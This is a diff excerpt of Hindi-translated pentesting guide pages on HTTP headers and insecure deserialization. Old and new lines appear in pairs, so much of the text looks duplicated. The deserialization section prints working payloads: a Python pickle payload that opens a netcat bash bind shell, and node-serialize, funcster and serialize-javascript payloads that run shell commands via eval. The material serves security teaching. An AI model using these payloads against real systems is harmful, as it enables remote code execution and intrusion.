- **`Accept-Ranges`**: इंगित करता है कि क्या सर्वर रेंज अनुरोधों का समर्थन करता है, और यदि हां, तो रेंज को किस इकाई में व्यक्त किया जा सकता है। `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: इंगित करता है कि सर्वर को दस्तावेज़ का कौन सा भाग लौटाना चाहिए। उदाहरण के लिए, `Range:80-100` मूल प्रतिक्रिया के बाइट्स 80 से 100 को 206 आंशिक सामग्री के स्थिति कोड के साथ लौटाएगा। अनुरोध से `Accept-Encoding` हेडर को हटाना भी याद रखें।
|
||||
- यह एक प्रतिक्रिया प्राप्त करने के लिए उपयोगी हो सकता है जिसमें मनमाने रूप से परावर्तित जावास्क्रिप्ट कोड हो जो अन्यथा बचाया जा सकता है। लेकिन इसका दुरुपयोग करने के लिए आपको अनुरोध में ये हेडर इंजेक्ट करने की आवश्यकता होगी।
|
||||
- **`If-Range`**: एक शर्तीय रेंज अनुरोध बनाता है जो केवल तब पूरा होता है जब दिया गया etag या तिथि दूरस्थ संसाधन से मेल खाती है। संसाधन के असंगत संस्करणों से दो रेंज डाउनलोड करने से रोकने के लिए उपयोग किया जाता है।
|
||||
- **`Content-Range`**: इंगित करता है कि एक पूर्ण शरीर संदेश में एक आंशिक संदेश कहाँ संबंधित है।
|
||||
|
||||
## संदेश शरीर की जानकारी
|
||||
|
||||
- **`Content-Length`:** संसाधन का आकार, दशमलव संख्या में बाइट्स।
|
||||
- **`Content-Type`**: संसाधन के मीडिया प्रकार को इंगित करता है
|
||||
- **`Content-Encoding`**: संकुचन एल्गोरिदम को निर्दिष्ट करने के लिए उपयोग किया जाता है।
|
||||
- **`Content-Encoding`**: संपीड़न एल्गोरिदम को निर्दिष्ट करने के लिए उपयोग किया जाता है।
|
||||
- **`Content-Language`**: दर्शकों के लिए लक्षित मानव भाषा(ओं) का वर्णन करता है, ताकि यह उपयोगकर्ता को उनके अपने पसंदीदा भाषा के अनुसार भेद करने की अनुमति देता है।
|
||||
- **`Content-Location`**: लौटाए गए डेटा के लिए एक वैकल्पिक स्थान को इंगित करता है।
|
||||
|
||||
एक पेंटेस्ट के दृष्टिकोण से, यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त करने** का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता है।\
|
||||
पेंटेस्ट के दृष्टिकोण से यह जानकारी आमतौर पर "व्यर्थ" होती है, लेकिन यदि संसाधन **401** या **403** द्वारा **संरक्षित** है और आप इस **जानकारी** को **प्राप्त** करने का कोई **तरीका** खोज सकते हैं, तो यह **दिलचस्प** हो सकता है।\
|
||||
उदाहरण के लिए, एक HEAD अनुरोध में **`Range`** और **`Etag`** का संयोजन पृष्ठ की सामग्री को HEAD अनुरोधों के माध्यम से लीक कर सकता है:
|
||||
|
||||
- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` शामिल है, यह लीक कर रहा है कि बाइट 20 का SHA1 है `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- `Range: bytes=20-20` हेडर के साथ एक अनुरोध और एक प्रतिक्रिया जिसमें `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` है, यह लीक कर रहा है कि बाइट 20 का SHA1 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` है।
|
||||
|
||||
## सर्वर जानकारी
|
||||
|
||||
@ -108,11 +109,11 @@
|
||||
## नियंत्रण
|
||||
|
||||
- **`Allow`**: यह हेडर यह संप्रेषित करने के लिए उपयोग किया जाता है कि एक संसाधन कौन से HTTP विधियों को संभाल सकता है। उदाहरण के लिए, इसे `Allow: GET, POST, HEAD` के रूप में निर्दिष्ट किया जा सकता है, जो इंगित करता है कि संसाधन इन विधियों का समर्थन करता है।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि यह संप्रेषित किया जा सके कि सर्वर को अनुरोध को सफलतापूर्वक संसाधित करने के लिए किन अपेक्षाओं को पूरा करना चाहिए। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट ट्रांसमिशन के साथ आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है क्योंकि यह सर्वर की पुष्टि की प्रतीक्षा करता है।
|
||||
- **`Expect`**: क्लाइंट द्वारा उपयोग किया जाता है ताकि अनुरोध को सफलतापूर्वक संसाधित करने के लिए सर्वर को जो अपेक्षाएँ पूरी करनी हैं, उन्हें संप्रेषित किया जा सके। एक सामान्य उपयोग मामला `Expect: 100-continue` हेडर से संबंधित है, जो संकेत करता है कि क्लाइंट एक बड़ा डेटा पेलोड भेजने का इरादा रखता है। क्लाइंट प्रसारण के साथ आगे बढ़ने से पहले `100 (Continue)` प्रतिक्रिया की तलाश करता है। यह तंत्र नेटवर्क उपयोग को अनुकूलित करने में मदद करता है सर्वर की पुष्टि की प्रतीक्षा करके।
|
||||
|
||||
## डाउनलोड
|
||||
|
||||
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल को **inline** (वेबपृष्ठ के भीतर) प्रदर्शित किया जाना चाहिए या एक **संलग्नक** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
- HTTP प्रतिक्रियाओं में **`Content-Disposition`** हेडर यह निर्देशित करता है कि क्या एक फ़ाइल को **inline** (वेबपृष्ठ के भीतर) प्रदर्शित किया जाना चाहिए या **attachment** (डाउनलोड किया गया) के रूप में माना जाना चाहिए। उदाहरण के लिए:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -128,7 +129,7 @@ Content-Disposition: attachment; filename="filename.jpg"
|
||||
|
||||
### **विश्वसनीय प्रकार**
|
||||
|
||||
CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित रखा जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकें, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित रखते हैं।
|
||||
CSP के माध्यम से विश्वसनीय प्रकारों को लागू करके, अनुप्रयोगों को DOM XSS हमलों से सुरक्षित रखा जा सकता है। विश्वसनीय प्रकार यह सुनिश्चित करते हैं कि केवल विशेष रूप से तैयार किए गए ऑब्जेक्ट्स, जो स्थापित सुरक्षा नीतियों के अनुरूप हैं, खतरनाक वेब API कॉल में उपयोग किए जा सकते हैं, इस प्रकार डिफ़ॉल्ट रूप से JavaScript कोड को सुरक्षित करते हैं।
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -147,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों की ओर ले जा सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें।
|
||||
यह हेडर MIME प्रकार की स्निफ़िंग को रोकता है, एक प्रथा जो XSS कमजोरियों का कारण बन सकती है। यह सुनिश्चित करता है कि ब्राउज़र सर्वर द्वारा निर्दिष्ट MIME प्रकारों का सम्मान करें।
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
@ -159,15 +160,15 @@ X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) और Cross-Origin Resource Sharing (CORS)**
|
||||
|
||||
CORP यह निर्दिष्ट करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, क्रॉस-साइट लीक को कम करते हुए। दूसरी ओर, CORS एक अधिक लचीला क्रॉस-ओरिजिन संसाधन साझा करने का तंत्र प्रदान करता है, कुछ शर्तों के तहत समान-उत्पत्ति नीति को ढीला करते हुए।
|
||||
CORP यह निर्दिष्ट करने के लिए महत्वपूर्ण है कि कौन से संसाधन वेबसाइटों द्वारा लोड किए जा सकते हैं, क्रॉस-साइट लीक को कम करते हुए। दूसरी ओर, CORS एक अधिक लचीला क्रॉस-ओरिजिन संसाधन साझा करने का तंत्र प्रदान करता है, कुछ शर्तों के तहत समान-उत्सव नीति को ढीला करते हुए।
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **क्रॉस-ओरिजिन एम्बेडर नीति (COEP) और क्रॉस-ओरिजिन ओपनर नीति (COOP)**
|
||||
### **Cross-Origin Embedder Policy (COEP) और Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP और COOP क्रॉस-ओरिजिन अलगाव को सक्षम करने के लिए आवश्यक हैं, जो स्पेक्ट्रे-जैसे हमलों के जोखिम को काफी कम करते हैं। वे क्रमशः क्रॉस-ओरिजिन संसाधनों के लोडिंग और क्रॉस-ओरिजिन विंडोज के साथ इंटरैक्शन को नियंत्रित करते हैं।
|
||||
COEP और COOP क्रॉस-ओरिजिन आइसोलेशन को सक्षम करने के लिए आवश्यक हैं, जो स्पेक्ट्रे-जैसे हमलों के जोखिम को काफी कम करते हैं। वे क्रमशः क्रॉस-ओरिजिन संसाधनों के लोडिंग और क्रॉस-ओरिजिन विंडोज के साथ इंटरैक्शन को नियंत्रित करते हैं।
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को स्टोर करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। यह तकनीक आमतौर पर यह सुनिश्चित करने के लिए उपयोग की जाती है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
|
||||
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें एक विशेष प्रारूप में संरचित डेटा को लेकर उसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जिसे एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
|
||||
|
||||
Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
|
||||
|
||||
@ -14,10 +14,10 @@ Deserialization खतरनाक हो सकता है क्योंक
|
||||
|
||||
PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
|
||||
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी प्रॉपर्टीज के नामों का एक एरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्य उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
|
||||
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण प्रदान करती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्य उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
|
||||
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
|
||||
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
|
||||
```php
|
||||
<?php
|
||||
@ -74,10 +74,10 @@ This is a test<br />
|
||||
*/
|
||||
?>
|
||||
```
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डेसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
> यदि इसे क्लास में लागू किया गया है तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डेसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डेसिरियलाइज़ करने और डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,12 +85,12 @@ This is a test<br />
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
|
||||
> // डेसिरियलाइज़ेशन के दौरान आवश्यक कार्य करें।
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
आप एक समझाया हुआ **PHP उदाहरण यहाँ** पढ़ सकते हैं: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
आप एक विस्तृत **PHP उदाहरण यहाँ** पढ़ सकते हैं: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
|
||||
|
||||
### संदर्भित मानों को सीरियलाइज़ करना
|
||||
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं तो आप कर सकते हैं:
|
||||
यदि किसी कारणवश आप किसी मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
@ -117,13 +117,13 @@ $ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserializations का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **source code** में deserialization का दुरुपयोग करने का कोई तरीका नहीं पा सकेंगे, लेकिन आप **external PHP extensions के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **internet पर खोजें** (यहां तक कि **PHPGGC के gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए payloads उत्पन्न करने में मदद कर सकता है।\
|
||||
ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे** लेकिन आप **बाहरी PHP एक्सटेंशनों के कोड का दुरुपयोग कर सकते हैं।**\
|
||||
तो, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित gadgets जिन्हें आप दुरुपयोग कर सकते हैं।
|
||||
|
||||
### phar:// metadata deserialization
|
||||
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_** का उपयोग करके।** आप **phar** प्रोटोकॉल का उपयोग करके **file** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने की कोशिश कर सकते हैं।\
|
||||
यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर के php कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_** का उपयोग करके।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने की कोशिश कर सकते हैं।\
|
||||
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
@ -134,7 +134,7 @@ $ser=serialize($o);
|
||||
|
||||
### **Pickle**
|
||||
|
||||
जब ऑब्जेक्ट unpickle होता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
|
||||
जब ऑब्जेक्ट को unpickle किया जाता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
|
||||
जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।
|
||||
```python
|
||||
import pickle, os, base64
|
||||
@ -143,7 +143,7 @@ def __reduce__(self):
|
||||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||||
बायपास तकनीक की जांच करने से पहले, यदि आप python3 चला रहे हैं तो `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो python2 के साथ संगत हो।
|
||||
|
||||
**pickle jails** से बचने के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
निम्नलिखित पृष्ठ **yamls** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
निम्नलिखित पृष्ठ **yaml** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
|
||||
|
||||
{{#ref}}
|
||||
python-yaml-deserialization.md
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **"जादुई" कार्य** नहीं रखता जैसे PHP या Python जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होंगे। लेकिन इसमें कुछ **कार्य** हैं जो **प्रत्यक्ष रूप से कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
|
||||
यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन कार्यों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभावित रूप से प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
|
||||
|
||||
एक और **"जादुई" तरीका एक कार्य को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक कार्य प्रकार की **प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
एक और **"जादुई" तरीका एक कार्य को कॉल करने का** बिना इसे सीधे कॉल किए **एक ऑब्जेक्ट को समझौता करना है जो एक async कार्य** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक कार्य प्रकार की एक **प्रॉपर्टी** में **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -231,11 +231,11 @@ console.log("Serialized: \n" + payload_serialized)
|
||||
|
||||
.png>)
|
||||
|
||||
जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**।
|
||||
जैसा कि आप कोड के अंतिम भाग में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**।
|
||||
|
||||
हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
|
||||
वैसे, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
|
||||
अगले कोड के टुकड़े में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
अगले कोड के भाग में **अंतिम कोष्ठक पर ध्यान दें** और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test = {
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल रेखा निष्पादित कर सकते हैं** जैसे कि निम्नलिखित उदाहरण में:
|
||||
जैसा कि पहले संकेत दिया गया था, यह पुस्तकालय `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगा और इसे `eval` का उपयोग करके **निष्पादित करेगा**। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **कार्य निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल रेखा** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -278,7 +278,7 @@ __js_function:
|
||||
}
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**।**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
@ -302,7 +302,7 @@ var test =
|
||||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**।**
|
||||
